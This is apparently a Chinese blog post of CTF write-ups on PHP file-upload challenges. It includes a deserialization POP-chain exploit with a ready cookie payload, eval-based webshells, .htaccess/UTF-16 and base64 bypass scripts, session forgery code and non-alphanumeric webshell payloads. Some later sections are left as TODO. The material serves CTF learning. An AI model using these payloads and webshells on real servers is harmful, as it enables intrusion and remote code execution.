2020-08-18
3.2k
极客大挑战 2019 Upload
考点
解题
ACTF2020 新生赛 Upload
考点
解题
GXYCTF2019 BabyUpload
考点
解题
RoarCTF 2019 SimpleUpload
考点
解题
根据报错信息,发现是ThinkPHP3.2.4版本,从GitHub上下载下来审计一下,发现上传模块有一个问题。
可以看到,用户所写得代码使用时未指定files,默认为$_FILES
,这意味着,所有$_FILES
中的文件都会被上传。而代码只会过滤$_FILES['file']
中的文件。所以上传两个文件,一个name为file的正常图片,另一个name为其他的webshell。
1 2 $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 ));
最后会打印出$_FILES['file']
的文件地址,而不会打印我们shell的地址。
ThinkPHP3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。
最后上传的php会被后台替换成flag。
强网杯 2019 Upload
考点
解题
注册之后查看cookie发现是一个base64编码后的
1 a:5:{s:2:"ID";i:3;s:8:"username";s:5:"admin";s:5:"email";s:15:"admin@admin.com";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";s:3:"img";N;}
扫目录得到 www.tar.gz
压缩包,代码审计
用PHPStorm打开会发现有两个断点,应该是给的hint
Register.php
Index.php
中有一个把cookie反序列化的地方。
这么来看应该是构造反序列化的POP链。
在Profile.php
发现关键代码:
1 2 3 4 5 6 7 8 9 10 11 public function __get ($name ) { return $this ->except[$name]; } public function __call ($name, $arguments ) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } }
这里肯定是利用__call
函数去执行我们的命令了。
构造POP链先找__destruct
方法,很明显刚刚Register.php
中就有析构函数。
1 2 3 4 5 6 public function __destruct ( ) { if (!$this ->registed){ $this ->checker->index(); } }
这里我们用Register->checker = Profile
,利用Profile->index()
去触发Profile
类中的__call
魔术方法。
但是我们可以看到Profile.php
当中的__call
方法调用的参数是
1 2 3 4 5 6 public function __call ($name, $arguments ) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } }
通过文档我们可以知道$name
是不存在方法的调用的名字,在这里也就是index
,$arguments
就是传入调用方法的参数,这里就为空。
而当使用$this->index
的时候,我们会触发另一个魔术方法__get
1 2 3 4 public function __get ($name ) { return $this ->except[$name]; }
这里又调用了$this->except[$name]
,而$name
我们可以通过__call
调用的值确定为index
,而且Profile
类存在一个公有类except
可以供我们修改。
接着利用_get
的返回会使__call
方法中的if
为真,执行$this->{$this->{$name}}($arguments);
。
有了POP链之后,我们应该去调用什么函数呢,接着看Profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function upload_img ( ) { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this ->upload_menu/$this ->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } }
第一个if可以直接pass,第二个if语句如果我们不上传文件也可以直接通过,第三个if直接赋值绕过,然后可以构造图片马绕过getimagesize
的判断,控制$this->filename
为php后缀形式,这样利用copy($this->filename_tmp, $this->filename)
就可以复制出了一个 php webshell 了。
构造payload的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php namespace app \web \controller ;use think \Controller ;class Register { public $checker; public $registed = false ; public function __construct ($checker ) { $this ->checker = $checker; } } class Profile { public $filename_tmp = './upload/adeee0c170ad4ffb110df0cde294aecd/00bf23e130fa1e525e332ff03dae345d.png' ; public $filename = './upload/adeee0c170ad4ffb110df0cde294aecd/shell.php' ; public $ext = true ; public $except = array ('index' =>'upload_img' ); } $register = new Register(new Profile()); echo urlencode(base64_encode(serialize($register)));
得到payload
1 TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkL2FkZWVlMGMxNzBhZDRmZmIxMTBkZjBjZGUyOTRhZWNkLzAwYmYyM2UxMzBmYTFlNTI1ZTMzMmZmMDNkYWUzNDVkLnBuZyI7czo4OiJmaWxlbmFtZSI7czo1MToiLi91cGxvYWQvYWRlZWUwYzE3MGFkNGZmYjExMGRmMGNkZTI5NGFlY2Qvc2hlbGwucGhwIjtzOjM6ImV4dCI7YjoxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7YjowO30=
填到cookie中,刷新页面
蚁剑连接拿flag。
SUCTF2019 EasyWeb
考点
无字母数字webshell
文件上传
.htaccess利用
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5($_SERVER['REMOTE_ADDR' ]); if (!file_exists($userdir)){ mkdir($userdir); } if (!empty ($_FILES["file" ])){ $tmp_name = $_FILES["file" ]["tmp_name" ]; $name = $_FILES["file" ]["name" ]; $extension = substr($name, strrpos($name,"." )+1 ); if (preg_match("/ph/i" ,$extension)) die ("^_^" ); if (mb_strpos(file_get_contents($tmp_name), '<?' )!==False ) die ("^_^" ); if (!exif_imagetype($tmp_name)) die ("^_^" ); $path= $userdir."/" .$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_' ]; if (!$hhh){ highlight_file(__FILE__ ); } if (strlen($hhh)>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh) ) die ('Try something else!' ); $character_type = count_chars($hhh, 3 ); if (strlen($character_type)>12 ) die ("Almost there!" );eval ($hhh);?>
和极客大挑战2019 RCE ME类似的payload:
1 ?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
可以成功显示PHPINFO的信息,注意四个点,一是PHP版本是7.2,二是题目的环境是Apache,三是限制了open_basedir,最后是disable_function。
再来看get_the_flag函数,按照题意应该是想让我们通过调用get_the_flag函数来get shell,函数中有三个限制:
文件内容中不能出现<?
使用了exif_imagetype来判断是不是图片
后缀名中不允许出现ph
这里的限制条件就有点像SUCTF2019 CheckIn,不同的是那道题的环境是nginx,可以通过上传.user.ini
来绕过。那么这道题如果要通过上传.htaccess
来绕过后缀名的限制,就需要绕过exif_imagetype
,并且不能用GIF89a等文件头,因为这样虽然能上传成功,但.htaccess
文件无法生效。这时有两个办法:
最后就需要绕过<?
,同样也有两个办法,不过只是编码的不同而已,一种是base64编码,一种是uft-16编码,都来了解一下。
先来看utf-16的编码方式,这是.htaccess
文件:
1 2 3 4 5 6 7 8 #define width 1337 # Define the width #define height 1337 # Define the height AddType application/x-httpd-php .cc # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
可以绕过的原因借用一下tr1ple师傅的图
也就是说原来是utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符,那么明显可以绕过内容的过滤,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file (filename, script ): phpfile = open(filename, 'wb' ) phpfile.write(script.encode('utf-16be' )) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess (): htaccess = open('.htaccess' , 'wb' ) htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .cc\n' ) htaccess.write(b'php_value zend.multibyte 1\n' ) htaccess.write(b'php_value zend.detect_unicode 1\n' ) htaccess.write(b'php_value display_errors 1\n' ) htaccess.close() generate_htacess() generate_php_file("shell.cc" , "<?php eval($_POST['shell']); ?>" )
上传两个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = "http://8bf8acd4-49c6-40c6-9bfe-688945f733ac.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag" payload = {} headers = {} htaccess_files = [ ('file' , open('.htaccess' , 'rb' )) ] shell_files = [ ('file' , open('shell.cc' , 'rb' )) ] response = requests.request("POST" , url, headers=headers, data=payload, files=htaccess_files) print(response.text) response = requests.request("POST" , url, headers=headers, data=payload, files=shell_files) print(response.text)
验证一下
用蚁剑连接,加载绕过disable_function的插件
第二种是用base64编码绕过
htaccess文件内容
1 2 3 4 #define width 1 #define height 1 AddType application/x-httpd-php .cc php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"
shell的内容
1 2 GIF89a12 // 12为了满足base64算法凑足八个字节 PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4= //<?php @eval($_POST[cmd])?>的base64编码
拓展
.htaccess trick总结
PHP7绕过open_basedir
BSidesCF2019 SVGMagic
考点
解题
先来看看什么是SVG。
SVG 意为可缩放矢量图形(Scalable Vector Graphics), 使用 XML 格式定义图像 。
看一个实例
用常规的XXE文件读取payload
这个地方有个坑就是flag的文件位置在当前目录,而proc/self/cwd
就代表当前路径。
HFCTF2020 BabyUpload
考点
解题
审计源码可以发现这几个点
session中存储了身份信息,默认事guest
通过参数可以上传文件和下载文件
既然这样,那我们就先把session文件下载下来看看是什么样子的。
应该是用php_binary方式序列化的session。
那么现在的思路就是:
伪造admin session --> 上传新的sess文件 --> 将cookie改成sess文件sha256加密后的字符串
但是现在还有一个问题就是如果绕过对success.txt的判断。
由于文件名不可控,我们就无法上传一个名为success.txt的文件,但是file_exists函数的作用的是检查文件或目录是否存在 ,所以我们用attr创建一个名为success.txt的目录就可以过这个判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsfrom io import BytesIOimport hashliburl = '''http://0abaf9de-86a1-4b6e-ab78-f008f607f2d5.node3.buuoj.cn''' def admin (): files = { "up_file" : ("sess" , BytesIO(b'\x08usernames:5:"admin";' )) } data = { "direction" : "download" , "attr" : "." , } res = requests.post(url=url, data=data, files=files) session_id = hashlib.sha256('\x08usernames:5:"admin";' .encode()).hexdigest() return session_id def upload_success (): data = { "direction" : "upload" , "attr" : "success.txt" , } files = { "up_file" : ("test" , BytesIO(b'good job!' )) } r = requests.post(url=url, data=data, files=files) upload_success() php_session_id = admin() cookies = { 'PHPSESSID' : php_session_id } s = requests.get(url) r = requests.get(url=url, cookies=cookies) print(r.text)
HarekazeCTF2019 Avatar Uploader 1
考点
finfo_file函数和getimagesize函数的区别
解题
原题是给了源码。
关键代码是在upload.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file' ]['tmp_name' ]); finfo_close($finfo); if (!in_array($type, ['image/png' ])) { error ('Uploaded file is not PNG format.' ); } $size = getimagesize($_FILES['file' ]['tmp_name' ]); if ($size[0 ] > 256 || $size[1 ] > 256 ) { error ('Uploaded image is too large.' ); } if ($size[2 ] !== IMAGETYPE_PNG) { error ('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1' ) . '</code>' ); }
首先我们得了解PHP文件头格式是什么样的
https://blog.csdn.net/u013943420/article/details/76855416
89 50 4E 47 0D 0A 1A 0A
是PNG头部署名域,表示这是一个PNG图片
00 00 00 0D
描述IHDR头部的大小
49 48 44 52
是Chunk Type Code, 这里Chunk Type Code=IHDR
接下来需要了解finfo_file函数和getimagesize函数的区别就在于:FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize
不可以。
SUCTF 2019 getshell
考点
解题
可用字符:$().;=[]_~
取反绕过,webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $_=~(瞎); $__.=$_[[]==[]]; $_=~(挟); $__.=$_[[]==[]]; $_=~(挟); $__.=$_[[]==[]]; $_=~(隙); $__.=$_[[]==[]]; $_=~(卸); $__.=$_[[]==[]]; $_=~(勋); $__.=$_[[]==[]]; $_=~(校); $___.=$_[[]==[]]; $_=~(下); $___.=$_[[]==[]]; $_=~(纤); $___.=$_[[]==[]]; $_=~(嫌); $___.=$_[[]==[]]; $___=$$___; $__($___[_]);
flag在env环境变量中。
SUCTF 2019 Upload Labs 2
考点
解题
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php include 'config.php' ;class Ad { public $cmd; public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3; function __construct ($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3 ) { $this ->cmd = $cmd; $this ->clazz = $clazz; $this ->func1 = $func1; $this ->func2 = $func2; $this ->func3 = $func3; $this ->arg1 = $arg1; $this ->arg2 = $arg2; $this ->arg3 = $arg3; } function check ( ) { $reflect = new ReflectionClass($this ->clazz); $this ->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func1); $reflectionMethod->invoke($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func2); $reflectionMethod->invoke($this ->instance, $this ->arg2); $reflectionMethod = new ReflectionMethod($this ->clazz, $this ->func3); $reflectionMethod->invoke($this ->instance, $this ->arg3); } function __destruct ( ) { system($this ->cmd); } } if ($_SERVER['REMOTE_ADDR' ] == '127.0.0.1' ){ if (isset ($_POST['admin' ])){ $cmd = $_POST['cmd' ]; $clazz = $_POST['clazz' ]; $func1 = $_POST['func1' ]; $func2 = $_POST['func2' ]; $func3 = $_POST['func3' ]; $arg1 = $_POST['arg1' ]; $arg2 = $_POST['arg2' ]; $arg2 = $_POST['arg3' ]; $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!" ; }
TODO
HarekazeCTF2019 Avatar Uploader 2
TODO
D3CTF 2019 EzUpload
TODO